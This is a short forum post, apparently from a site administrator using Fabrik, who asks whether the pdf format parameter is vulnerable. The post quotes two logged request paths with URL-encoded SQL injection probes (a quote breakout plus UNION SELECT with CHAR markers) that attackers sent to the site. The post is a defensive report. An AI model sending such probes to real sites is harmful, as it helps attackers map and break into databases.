I have experinced that hackers try to do things like this on fabrik:
/details/14/390?format=pdf1111111111111%27%20UNION%20SELECT%20CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45)--%20%20
details/14/390?format=pdf1111111111111%27%20UNION%20SELECT%20CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45)--%20%20
Is there some vulnerability in the pdf format, that one should be aware of. The IP is now blocked of the attempt is now blocked.
